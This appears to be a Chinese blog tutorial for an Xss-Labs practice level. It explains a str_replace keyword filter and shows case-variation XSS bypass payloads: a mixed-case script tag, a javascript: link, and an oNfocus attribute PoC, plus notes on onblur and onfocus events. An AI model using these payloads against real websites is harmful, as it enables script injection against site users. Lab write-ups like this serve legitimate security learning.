读者可参考、订阅专栏:Xss-Labs靶场攻防实战
正文
逻辑后端代码:

使用 str_replace 函数将 <script 替换为 <scr_ipt,将 on 替换为 o_n,将 src 替换为 sr_c,将 data 替换为 da_ta,将 href 替换为 hr_ef
大小写绕过
故可使用大小写绕过,payload如下:
"> <scriPt>alert()</scRipt> <"
回显如下:

也可使用超链接大小写绕过,payload如下:
"> <a hrEF=javascript:alert("qiushuo")>秋说</a> <"
回显如下:


也可使用onfocus事件大小写绕过
onblur/onfocus事件
onblur 事件是在 HTML 元素失去焦点时触发的事件。当用户从一个元素切换到另一个元素或点击页面空白区域时,原本获得焦点的元素就会触发 onblur 事件。
可以将 onblur 事件应用于各种 HTML 元素,包括输入框、下拉列表、按钮等。当元素失去焦点时,可以执行相应的 JavaScript 代码来实现特定的功能或交互。
示例代码如下:
<input type="text" onblur="myFunction()">
<script>
function myFunction() {
alert("Input field lost focus!");
}
</script>
<!--当文本输入框失去焦点时,myFunction()函数将被调用,并弹出警告框。-->
除了直接在 HTML 元素上使用 onblur 属性,同样可以使用 JavaScript 来动态地绑定和处理 onblur 事件。
<input id="myInput" type="text">
<script>
document.getElementById("myInput").addEventListener("blur", function() {
alert("Input field lost focus!");
});
</script>
onfocus 事件是在 HTML 元素获得焦点时触发的事件。当用户点击或选择某个元素,使其成为当前活动元素时,就会触发 onfocus 事件。
可以将 onfocus 事件应用于各种 HTML 元素,包括输入框、下拉列表、按钮等。当元素获得焦点时,可以执行相应的 JavaScript 代码来实现特定的功能或交互。
<input type="text" onfocus="myFunction()">
<script>
function myFunction() {
alert("Input field is focused!");
}
</script>
除了直接在 HTML 元素上使用 onfocus 属性,还可以使用 JavaScript 来动态地绑定和处理 onfocus 事件。
<input id="myInput" type="text">
<script>
document.getElementById("myInput").addEventListener("focus", function() {
alert("Input field is focused!");
});
</script>
POC如下:
" oNfocus=javascript:alert("秋说") "

本文详细介绍了在Xss-Labs靶场中的攻防实战,涉及使用大小写绕过技术,如通过`str_replace`函数修改标签属性进行JavaScript注入,以及onblur和onfocus事件在绕过XSS过滤中的应用。作者还提供了POC实例和未来分享的计划。

被折叠的 条评论
为什么被折叠?



